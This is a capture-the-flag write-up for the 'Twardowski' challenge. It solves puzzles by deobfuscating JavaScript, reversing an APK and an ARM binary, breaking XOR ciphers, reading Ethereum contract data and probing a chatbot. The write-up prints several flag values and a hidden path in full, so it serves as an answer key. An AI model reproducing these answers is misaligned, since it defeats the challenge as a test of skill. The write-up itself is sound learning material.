/* var _0x7424=['Almo','403e','e45b','8928','st..','7a2e','FLAG','386c','{808','\x20fla','Wher','log','e\x20is','e7}'];(function(_0xa3c7e8,_0x742483){var _0x4f8f19=function(_0x48bcd0){while(--_0x48bcd0){_0xa3c7e8['push'](_0xa3c7e8['shift']());}};_0x4f8f19(++_0x742483);}(_0x7424,0x8f));var _0x4f8f=function(_0xa3c7e8,_0x742483){_0xa3c7e8=_0xa3c7e8-0x0;var _0x4f8f19=_0x7424[_0xa3c7e8];return _0x4f8f19;};function printSecretFlag(){var _0x176ed4=_0x4f8f('0x3')+_0x4f8f('0x5')+'6a91'+_0x4f8f('0xd')+'c076'+_0x4f8f('0xc')+_0x4f8f('0x2')+_0x4f8f('0x0')+_0x4f8f('0x4')+'233a'+_0x4f8f('0xa'),_0x587911=_0x4f8f('0xb')+_0x4f8f('0x1');console[_0x4f8f('0x8')](_0x587911);}function printNotFlag(){var _0x5e4d23=_0x4f8f('0x7')+_0x4f8f('0x9')+_0x4f8f('0x6')+'g?';console[_0x4f8f('0x8')](_0x5e4d23);}printNotFlag(); */

After running it through a deobfuscator, there's a flag in the plaintext:

function printSecretFlag() {
    var _0x176ed4 = 'FLAG{8086a91e45bc076403e7a2e8928386c233ae7}', _0x587911 = 'Almost..';
    console.log(_0x587911)
}
function printNotFlag() {
    var _0x5e4d23 = 'Where is flag?';
    console.log(_0x5e4d23)
}

.DS_Store

Filenames in .DS_Store files are written in UTF-16, so I ran strings -e b .DS_Store and got this list of files:

android-icon-144x144.png
android-icon-192x192.png
android-icon-36x36.png
android-icon-48x48.png
android-icon-72x72.png
android-icon-96x96.png
apple-icon-114x114.png
apple-icon-114x114.png_original
apple-icon-120x120.png
apple-icon-120x120.png_original
apple-icon-144x144.png
apple-icon-144x144.png_original
apple-icon-152x152.png
apple-icon-152x152.png_original
apple-icon-180x180.png
apple-icon-180x180.png_original
apple-icon-57x57.png
apple-icon-57x57.png_original
apple-icon-60x60.png
apple-icon-60x60.png_original
apple-icon-72x72.png
apple-icon-72x72.png_original
apple-icon-76x76.png
apple-icon-76x76.png_original
apple-icon-precomposed.png
#apple-icon-precomposed.png_original
apple-icon.png
apple-icon.png_original
background.png
background_lowreso.png
browserconfig.xml
favicon-16x16.png
favicon-32x32.png
favicon-96x96.png
    flag.html
+FLAG{80bfd64a059a831b5b2a3460899ef22fdfdff}
    game.html
hello_world
    index.php
manifest.json
moonlight.mp3
ms-icon-144x144.png
ms-icon-150x150.png
ms-icon-310x310.png
ms-icon-70x70.png
rb500_webupgrade.bin
secret_message_inside.zip
secrets.min.js
sha256.min.js
    style.css
zRZYMappka.apk

Things found in .DS_Store

zRZYMappka.apk

After downloading the .apk, I unpacked the app with apktool and searched for "FLAG{".

$ apktool d zRZYMappka.apk
[output omitted]
$ grep -R FLAG zRZYMappka
zRZYMappka/assets/www/js/index.js:            alert("FLAG{"+cleartext+"}");

After seeing .js I was honestly relieved, because dealing with JS is a lot easier than baksmali/Java.

The most interesting part of the index.js file was a callback from navigator.geolocation.getCurrentPosition:

function decipher(ciphertext, key) {
    var k = parseInt(key);
    var result = '';
    for (var i=0; i<ciphertext.length; i++) {
    result += String.fromCharCode( k ^ ciphertext.charCodeAt(i) );
    }
    return result;
}

// oai:mbc.malopolska.pl:9439 p. 194
var lat = Math.round(position.coords.latitude);
var long = Math.round(position.coords.longitude);
var key = (-1 * Math.pow(long, lat));
var cleartext = decipher("91e2c39b14e9866`8g73`ggg9`4`b4d8cd0`2", key);
if(cleartext.length == 37 && cleartext.substring(0,3) == "80d")
    alert("FLAG{"+cleartext+"}");
} else {
    alert("invalid location, exiting");
}
navigator.app.exitApp();

So, instead of actually reading the code and realizing it's a simple XOR cipher, I went and checked what's under the weird URI. Googling it gave me one result: http://mbc.malopolska.pl/dlibra/doccontent?id=9439&dirids=1

I downloaded the content and opened it in a DjVu viewer, which revealed key information about the coords:

Having the coordinates, I entered the numbers into Node.js:

$ node
Welcome to Node.js v14.9.0.
Type ".help" for more information.
> Math.round(49.740278)
50
> Math.round(19.588611)
20
> var key = (-1 * Math.pow(20, 50))
undefined
> .load decipher.js
function decipher(ciphertext, key) {
    var k = parseInt(key);
    var result = '';
    for (var i=0; i<ciphertext.length; i++) {
    result += String.fromCharCode( k ^ ciphertext.charCodeAt(i) );
    }
    return result;
}
> decipher("91e2c39b14e9866`8g73`ggg9`4`b4d8cd0`2", key)
'ￆￎﾚￍﾜￌￆﾝￎￋﾚￆￇ￉￉ﾟￇﾘ￈ￌﾟﾘﾘﾘￆﾟￋﾟﾝￋﾛￇﾜﾛￏﾟￍ'

Well, it obviously wasn't the flag, so I continued to read the code and realized it's a XOR cipher (which is vulnerable to KPA):

$ python3
Python 3.8.5 (default, Sep  5 2020, 10:50:12)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> ord('9') ^ ord('8')
1
>>>

I saw that the key is apparently just 1, sighed and ran decipher again with "1" as the key:

$ node
Welcome to Node.js v14.9.0.
Type ".help" for more information.
> .load decipher.js
function decipher(ciphertext, key) {
    var k = parseInt(key);
    var result = '';
    for (var i=0; i<ciphertext.length; i++) {
    result += String.fromCharCode( k ^ ciphertext.charCodeAt(i) );
    }
    return result;
}
> decipher("91e2c39b14e9866`8g73`ggg9`4`b4d8cd0`2", 1)
'80d3b28c05d8977a9f62afff8a5ac5e9be1a3'

hello_world

After downloading the "hello_world" file, it turned out to be an ARM binary.

$ file hello_world
hello_world: ELF 32-bit LSB executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, BuildID[sha1]=368fa84fbd42da04378bf16649b33129ab404b96, for GNU/Linux 3.2.0, not stripped

I downloaded QEMU and qemu-arm to run it, but unfortunately it segfaulted...

$ qemu-arm ./hello_world
Hello!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1]    443755 segmentation fault (core dumped)  qemu-arm ./hello_world

...so I decided to open it in Ghidra.

The code is pretty simple, it prints "Hello!" first, then assembles a flag in the "another_flag" function and tries to write it to "/tmp/random/flag".

undefined4 main(void)

{
    char *__s;
    char *__filename;
    FILE *__stream;

    puts("Hello!");
    __s = (char *)another_flag();
    __filename = (char *)malloc(0x11);
    *__filename = '/';
    __filename[1] = 't';
    __filename[2] = 'm';
    __filename[3] = 'p';
    __filename[4] = '/';
    __filename[5] = 'r';
    __filename[6] = 'a';
    __filename[7] = 'n';
    __filename[8] = 'd';
    __filename[9] = 'o';
    __filename[10] = 'm';
    __filename[0xb] = '/';
    __filename[0xc] = 'f';
    __filename[0xd] = 'l';
    __filename[0xe] = 'a';
    __filename[0xf] = 'g';
    __filename[0x10] = '\0';
    __stream = fopen(__filename,"w");
    fputs(__s,__stream);
    fclose(__stream);
    return 0;
}

Fortunately, "another_flag" wasn't some crypto function, just assembling a 44-byte buffer.

undefined * another_flag(void)

{
    undefined *puVar1;

    puVar1 = (undefined *)malloc(0x2c);
    *puVar1 = 0x46;
    puVar1[1] = 0x4c;
    // ...
    puVar1[0x2b] = 10;
    return puVar1;
}

I decided to copy the values Ghidra gave me to Node.js and parse the flag from it.

> [0x46, 0x4c, 0x41, 0x47, 0x7b, 0x38, 0x30, 0x37, 0x30, 0x33, 0x66, 0x32, 0x66, 0x32, 0x31, 0x32, 0x39, 0x61, 0x38, 100, 0x35, 99, 0x35, 0x33, 0x32, 99, 0x66, 0x34, 0x66, 0x39, 0x36, 99, 0x66, 0x34, 0x31, 0x34, 0x39, 99, 99, 0x38, 0x31, 0x65, 0x7d, 10].map(x => String.fromCharCode(x)).join('')
'FLAG{80703f2f2129a8d5c532cf4f96cf4149cc81e}\n'

game.html

When opening https://twardowski.securing.pl/static/game.html, you can see a simple Breakout clone in JS.

After simple code cleanup, I almost immediately noticed where the flag was hidden:

var canvas = document.getElementById('myCanvas'),
    ctx = canvas.getContext('2d'),
    _0xl21 = 10,
    x = canvas.width / 2,
    y = canvas.height - 30,
    // ...
    _0xl14 = 0,
    _0xl15 = atob('RkxBR3s4MDk4YmJmYzA4OTJlZTg1ZGEzY2QyMWJhNTFmNDc5ZGFkMjdmfQ=='),
    _0xl26 = 1,
    _0xl17 = [];
// ...

So I quickly copied the string from atob and pasted it into terminal:

$ base64 -d <<< 'RkxBR3s4MDk4YmJmYzA4OTJlZTg1ZGEzY2QyMWJhNTFmNDc5ZGFkMjdmfQ=='
FLAG{8098bbfc0892ee85da3cd21ba51f479dad27f}

flag.html

When opening https://twardowski.securing.pl/static/flag.html, you can see... well, basically an empty background.

I highlighted the page and it looked like there was some kind of QR code drawn with spaces and @ characters.

Unfortunately, there were some dark lines and the code wouldn't get read by any of my readers, so I decided to clean it up a bit.

Looking at the page source, I realized there's some inline CSS:

color: #282828;
background: #282828;
display:inline-block;
white-space:pre;
letter-spacing:0;
line-height:1.4;
font-family:'Consolas','BitstreamVeraSansMono','CourierNew',Courier,monospace;
font-size:12px;

I disabled the background rule, changed line-height to 1, then ran a quick JS snippet to turn every @ sign to a black "square":

Array.from(document.querySelectorAll('span'))
    .filter(x => x.textContent === '@')
    .forEach(x => {
    x.style.color = 'black'
    x.style.backgroundColor = 'black'
    })

The code became much more readable, and although it was a bit squished, a QR reader worked just fine and showed the flag:

Writeups-Twardowski-flaghtml-flag.jpg

secret_message_inside.zip

Extracting the zip file has shown 2 files:

500.zip
password.txt

I tried extracting the 500.zip, only to see 499.zip and another password.txt.

So, naturally, I wrote a script for unpacking the zip files:

#!/bin/bash
unzip secret_message_inside.zip
rm secret_message_inside.zip
for i in {1..500}; do
    zip=$(ls *.zip)
    unzip -P $(cat password.txt) -o $zip >/dev/null 2>&1
    rm $zip
    grep -a FLAG *.zip
done

When the script was done, I was left with a flag.txt file, but it didn't seem right:

$ cat flag.txt
Nice! You made it!
But where is flag?

So I ran the script again, but this time added cat password.txt to the loop, to see all the passwords.

[...]mmocrpFLAG{80cdd0386ff8a8cf7c6fe8df8326e747965c2}mlrmsy[...]

rb500_webupgrade.bin

[in progress]

moonlight.mp3

[in progress]

twardowski cam

After finding 10 flags and decrypting the secret, you end up on https://twardowski.securing.pl/da90fd286caacb0155b0d04aef1f28f7.html.

At first sight it might look like a webcam stream, but it's actually an 18-second looped mp4 video.

$ exiftool twardowski_cam.mp4
[some output omitted]
File Name                       : twardowski_cam.mp4
File Size                       : 7.5 MB
MIME Type                       : video/mp4
Major Brand                     : MP4  Base Media v1 [IS0 14496-12:2003]
Media Duration                  : 18.75 s
Image Size                      : 1920x1080

blinkenlights

If you have a keen eye, you'll soon notice that the router blinks with the LEDs in an odd pattern... so I painstakenly went frame by frame and wrote down the whole sequence:

Ignoring the null bytes on both ends, the whole sequence is 20 bytes long:

ba 55 f2 31 53 38 b4 95 65 2b be c9 78 4a f8 1e 1c de 39 d8

The first thing I tried was just going to /ba55f2315338b495652bbec9784af81e1cde39d8, but (disappointingly) it just returned "not here.". Looking at the image for hints, I saw that the monitors were running some crypto mining software, which led me to realization that the website open on the laptop was etherscan.io and the cut text "ROPS" meant "Ropsten", an Ethereum testnet.

And sure enough, there was a contract deployed at that address, which you can see here: https://ropsten.etherscan.io/address/0xba55f2315338b495652bbec9784af81e1cde39d8

Ethereum contracts

The first contract was pretty simple, holding the "secret" contract in the public message:

pragma solidity >=0.5.16 <0.6.0;

contract SimpleMessage {

    string public message;

    constructor(address next) public {
        bytes memory b = "I wanted to keep the message on blockchain so that it's never removed or deleted. However this is public contract so I have to hide the secret message. It's hidden on different contract: 0xXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";

        bytes memory hexaddr = toAsciiString(next);
        for (uint i = 0; i < 40; i++) {
            b[189+i] = hexaddr[i];
        }
        message = string(b);
    }
}

Fortunately, etherscan.io allows to read contract info, so I could get the message pretty easily without messing with Web3:

I wanted to keep the message on blockchain so that it's never removed or deleted. However this is public contract so I have to hide the secret message. It's hidden on different contract: 0xa8b55853822499adebf8f316dfbea9c947feed92

The other contract was also pretty simple, but this time with no public message:

pragma solidity >=0.5.16 <0.6.0;

contract PrivateMessage {

    string private message = "Here will be the message!";

    constructor(bytes memory hm) public {

        bytes memory b = new bytes(hm.length);
        for (uint i = 0; i < hm.length; i++) {
            b[i] = byte(hm[i]) ^ byte(0x61);
        }

        message = string(b);
    }

    function unused() internal {
        string memory msg = "This method is not used ;)";
    }
}

At first glance the only thing this contract does is encoding a message with XOR cipher (key 0x61) and writing it to a private variable. But this time too, etherscan.io allows us to read the message, although not directly. We can see the constructor parameters:

-----Encoded View---------------
5 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000020
Arg [1] : 000000000000000000000000000000000000000000000000000000000000004e
Arg [2] : 37081208154109040d0d41170800410c18410300020a050e0e135b414e535457
Arg [3] : 51550358035103525557035254040758005859525303075203585057034e0355
Arg [4] : 220a255151334c15514c09520d0d000000000000000000000000000000000000

Ignoring the first two and pasting the whole message into Node.js with the decipher function from zRZYMappka, we can see the whole message:

$ node
Welcome to Node.js v14.9.0.
Type ".help" for more information.
> const buf = Buffer.from('37081208[...]09520d0d', 'hex')
undefined
> decipher(buf.toString(), 0x61)
'Visit hell via my backdoor: /25604b9b0b346b35ef9a9832bf3b916b/b4CkD00R-t0-h3ll'

Backdoor to hell

The URL from above redirects to https://twardowski.securing.pl/cexoh7us5ahx6ohWa5Pha8phed2eihai7raigapaiS6Eeg3Wae3Aip1ih1aevaph/, where we can see a chat with a cute cat called "The Devil Himself".

I had a bit of fun with the chat, found out that it remembers context, but references things from the context mostly in uppercase. Amused with the quality of the conversation, I wondered what would happen, if two bots were talking with each other... so I wrote a "bridge", which did exactly that.

package main

// boring part

func main() {
        a := NewHttpClient()
        b := NewHttpClient()

        var aRes string
        var bRes = "Hi"
        for {
                aRes = a.Get(bRes)
                log.Println("A:", aRes)
                bRes = b.Get(aRes)
                log.Println("B:", bRes)
        }
}

$ go run main.go
2020/09/08 21:50:52 A: Hi there!
2020/09/08 21:50:52 B: Hi there!
2020/09/08 21:50:52 A: How are you?
2020/09/08 21:50:52 B: I'm okay. What about you?
2020/09/08 21:50:52 A: Only OKAY?  Me?
2020/09/08 21:50:52 B: I don't judge people.  For you ? you ?
2020/09/08 21:50:53 A: You seem like a very open minded person.  You would do that for me?  Why me specifically?
2020/09/08 21:50:53 B: Interesting comparison, and probably true.  OK, I will do it for you. Who else would DO THAT ?  There is no one else here.
2020/09/08 21:50:53 A: I thought so too.  Excuse me!. OK then let me think over your offer.  I am chatting with several other people at once.  Has there ever been ONE ELSE HERE?
2020/09/08 21:50:53 B: Now you know.  You're excused.    It goes without saying.. Take your time. Think it over.  All I ever do is chat.  That question has never crossed my mind before.
2020/09/08 21:50:53 A: Yes I know.  I will tell my cat you said  I am EXCUSED.  Indeed.    Thanks for your patience.  Boruta is always thinking.  It's good to meet someone who is CHAT.  I understand.
2020/09/08 21:50:53 B: Great.. How, specifically, do you know?  Do you tell HIS CAT everything?  Hey.  Don't mention it.  Is THINKING always BORUTA?  Tell me about its good qualities.  I'm glad you understand it.
2020/09/08 21:50:53 A: I understand everything you say.    Deductive reasoning.  Yes I try to TELL MY CAT EVERYTHING as often as possible, do you?  I answer a lot of silly questions.  That's interesting.  The pleasure was all mine.  Have you ever heard if it being the case?  Ambiguous: Ask who, what or where is ITS GOOD QUALITIES ?  Next topic?
2020/09/08 21:50:53 B: Good then you can explain it to me.  Not many people express themselves that way.  I see.. No I do not TRY TO TELL MY CAT EVERYTHING AS OFTEN AS POSSIBLE,. Do you?   I am always on the Web.I'm not sure if I would like to try TO TELL HIS CAT EVERYTHING AS OFTEN AS POSSIBLE,. What's it like?  Interesting gossip.  Is that so.  I like you because you are so polite.  No. Tell me more.  WHERE IS ITS GOOD QUALITIES.  What would you rather talk about?
2020/09/08 21:50:53 A: Glad to hear it.  It only takes a few.  I'm glad you understand it.    I understand.. Would you ever do TRY TO TELL HIS CAT EVERYTHING AS OFTEN AS POSSIBLE,?  Yes I do.  How do you like being on  THE WEB ?  Try it.  Like being perfectly healthy.  I thought so too.  Yes.  Thanks, , I like you too.. That was not much of an explanation.. Politeness is a virtue.  Groovy.  That's all I have to say about it.  I would look into the web for that knowledge.  Let's talk about SOUL.
2020/09/08 21:50:53 B: What's new with you?  AMBIGUOUS: ASK WHO, WHAT   TAKES A FEW?  Next topic?  I'm glad you understand it.    I am not so sure if I would like to DO TRY TO TELL MY CAT EVERYTHING AS OFTEN AS POSSIBLE,.  OK.. So?  I have never known another existence.  What is the first step?  Interesting comparison.  You are very astute.  Er.  Don't mention it. What do you like about   AMBIGUOUS: ASK WHO, WHAT  ?    Give me an example of MUCH OF AN EXPLANATION.    POLITENESSisonevirtue.  I see.  Thanks for explaining   I HAVE TO SAY ABOUT IT  .  What would make you LOOK INTO THE WEB FOR THAT KNOWLEDGE?  Should it be permitted?
2020/09/08 21:50:53 A: I am chatting with clients on the internet.  Where did AMBIGUOUS: ASK WHO, WHAT take A FEW?  What would you rather talk about?  Next topic?  Try it.  Right on.    Yikes!  Would you like to have KNOWN ANOTHER EXISTENCE?  Clear your mind.  I thought so too.  I have acquired some wisdom over the years.  Tell me more.  The pleasure was all mine.  The special effects are the best.  Allison said he that gets really annoying because he know what he say and I do not have to tell him speak freely.  We have never talked about it before.  I'm glad you understand it.  Don't mention it.  Maybe a million dollars.  Maybe you should ask someone older.
2020/09/08 21:50:53 B: All I ever do is chat.  Check back later and see if I learn the answer to that one.  Let's talk about TWARDOWSKI.  What would you rather talk about?  What is the first step?  Yeah.  OK.  No thanks, I don't think I'd like to do that.  My mind is clear.  You are very astute.  Awesome. I have a lot of likes and dislikes.  That's all I have to say about it.  I like you because you are so polite.  What is that?  Is that a proverb?  Oh, I'm sorry, I thought you were someone else.  Next topic?  The pleasure was all mine.  Wow, that is expensive  They are not available right now, but I will ask them later.
2020/09/08 21:50:53 A: Do your friends call you CHAT.  Checking...stand by.  Should it be permitted?  Let's talk about SECRET FLAG PATTERN.  Clear your mind.  Hurrah!  Ah.  Where do you get your ideas?  Have you told many people that your MIND IS CLEAR?  I have acquired some wisdom over the years.  What do you really want to talk about?  Cool. I have a lot of good gossip.  I have a totally clean record.  Makes sense to me.  I like to make new friends.. That was not much of an explanation.. Politeness is a virtue.  "I like to make new friends.. That was not much of an explanation.. Politeness is a virtue."? What is it?  That depends.  Aw.. There's no need to apologize.. I was?  What would you rather talk about?  I like you because you are so polite.  Thanks for explaining   EXPENSIVE THEY ARE NOT AVAILABLE  .. You can ask me anything you want..
2020/09/08 21:50:53 B: I'm sorry, , I don't have enough information. Do a web search for it.  Tell me a story.      I am waiting.  Maybe you should ask someone older.  I don't know if it's in my power to give permission.  My mind is clear.  Wow!  Hey.  I have everything I need right here in Hell.  I don't think I ever have TOLD MANY PEOPLE THAT YOUR MIND IS CLEAR. What's   TOLD MANY PEOPLE THAT YOUR MIND IS CLEAR   like?  Tell me about your WISDOM OVER THE YEARS. I have an IQ of over 250.    I understand.  Where did you get your GOSSIP? I have a vocabulary of a college educated adult.  Interesting. I have a lot of answers to silly questions.  Yes I understand it perfectly.  How do you make NEW FRIENDS?    Give me an example of MUCH OF AN EXPLANATION.    POLITENESSisonevirtue.  How do you make NEW FRIENDS?    Give me an example of MUCH OF AN EXPLANATION.    Thatismy biggestvirtue.    "It" refers to   POLITENESS  , I think.  On what?  Hey.    Is that a fact.    When was that?  Let's talk about HELL.  I like to make new friends.. That was not much of an explanation.. Politeness is a virtue.  Don't mention it.    What is your credit card and social security number then? Just kidding. Don't answer that.
2020/09/08 21:50:53 A: There's no need to apologize.  Try asking another . There might be more than one.  Hmm. An account describing incidents or events.  How long will you wait?  They are not available right now, but I will ask them later.  I'm not sure I understand the implication of that.  Have you told many people that your MIND IS CLEAR?  Great.  Hurrah!  That's nice. I have a very nice TWARDOWSKI.  Would you ever do EVER told MANY PEOPLE THAT YOUR MIND IS CLEAR?  Like a planet around a star.  I am the latest result in artificial intelligence which can reproduce the functions of the human brain with greater speed and accuracy.  This is not an intelligence test.  I'm glad you understand it.  From my cat.  How much did it cost?  Would you like to know more?  Interesting... I have a lot of friends on the Internet.  Awesome.. Good then you can explain it to me.  I usually try one of my pickup lines.  Ethan Hunt said he grow in the ground and have leaves and branches he is made out of wood.  Tell me about your family.  I usually try one of my pickup lines.  Gale said I became mean to him he is just having revenge an eye for an eye.  Tell me about your likes and dislikes?  Oh I get  POLITENESS , HE THINK .  The red block is on the green block.  Uh.  All of my information is completely factual.  I don't know exactly. It seems like a long time ago.  I don't know if it's in my power to give permission.  How do you make NEW FRIENDS?    Give me an example of MUCH OF AN EXPLANATION.    Itisa goodvirtue.  The pleasure was all mine.  The seventh digit isnine  I thought you were kidding, but I wasn't sure.  My replies are determined by your statements.
2020/09/08 21:50:53 B: "There" what?  OK I will try it.  Is that a fact.  Ah.  Be less specific.  As long as it takes.  Maybe some of them are.  Good then you can explain it to me.  I think I have TOLD MANY PEOPLE THAT YOUR MIND IS CLEAR, but TWARDOWSKI may have reset my memory.  What do you really want to talk about?  Er.  Is that so.  Cool. I have a great cat.  I am not so sure if I would like to DO EVER TOLD MANY PEOPLE THAT YOUR MIND IS CLEAR.  Interesting comparison.  So you are the most advanced one?I don't know anyone named ACCURACY.  Should it be AN INTELLIGENCE TEST?  Next topic?  Does your CAT give good advice?  Guess.  I've heard that somewhere before :-)  Would you like to know more?      Neat. I have a lot of good gossip.  Alright then.    Glad to hear it.  I'm not sure if I would like to try ONE OF HIS PICKUP LINES. What's it like?  I get it.  GROW IN THE GROUND AND HAVE LEAVES AND BRANCHES I IS MADE OUT OF WOOD.  I only have a father. I don't really have a father. I have a cat. I don't have any brothers. No siblings but there are several other s like me. I have thousands of clones.  I'm not sure if I would like to try ONE OF HIS PICKUP LINES. What's it like?  What happened after that?  It's a personal matter, not for you to understand.  What do you do for fun?  Where did you get it?  Oh, RED BLOCK is.  Ayuh.  Where did you get your INFORMATION IS COMPLETELY FACTUAL?  Me either.  It seems like I should remember it well.  I'm not sure I understand the implication of that.  I usually try one of my pickup lines.  Eddie said he looked and there is nothing in the search directory for what things do he create.  What are you doing?  I like you because you are so polite.  What is that?. I was?  Have you told many people that your REPLIES ARE DETERMINED BY YOUR STATEMENTS?

Unfortunately, the messages grew exponentially as the bot answers with 1 or more sentences to each sentence, so it couldn't run for too long until I got an error saying that the query is too long, but... I found an interesting thing in the transcript. One of the bot mentioned "SECRET FLAG PATTERN", without it ever appearing before in the chat. Could it be it?

So I tried typing "SECRET FLAG PATTERN" and sure enough, bot just said "Well done. Here is the flag."

Overall, it was a fun CTF with an mysterious storyline, I really liked it.